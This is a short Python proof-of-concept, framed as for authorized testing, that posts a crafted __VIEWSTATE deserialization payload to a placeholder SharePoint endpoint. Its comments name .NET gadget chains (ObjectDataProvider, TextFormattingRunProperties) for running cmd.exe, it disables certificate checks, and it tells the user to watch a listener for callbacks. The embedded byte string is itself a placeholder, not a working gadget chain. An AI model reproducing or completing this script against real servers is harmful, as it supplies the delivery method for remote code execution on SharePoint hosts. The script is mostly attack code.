The following code is for security research and authorized testing only.
python
import requests
import base64
# Target URL (Placeholder)
target_url = "https://sharepoint-target/vulnerable_endpoint"
# Conceptual Payload for Deserialization Attack
# In a real scenario, this would be a serialized .NET object (e.g., ObjectDataProvider, TextFormattingRunProperties)
# encoded in base64 or specific SharePoint format.
# Example structure:
# gadget_chain = generate_gadget('cmd.exe', '/c whoami')
# payload_bytes = serialize(gadget_chain)
# Placeholder for the actual malicious byte stream
malicious_payload = b"AAEAAAD/////AQAAAAAAAAAMAgAAAE1TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliXV0BAAAAAA0IAAAABlN5c3RlbS5TdHJpbmcAAAAAAAAAAABgMAAAACg=="
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "SESSIONID=attacker_session_id"
}
# Sending the payload
data = {
"__VIEWSTATE": base64.b64encode(malicious_payload).decode('utf-8'),
"__EVENTVALIDATION": "/wEdAASv..."
}
try:
response = requests.post(target_url, data=data, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully. Check your listener for callbacks.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")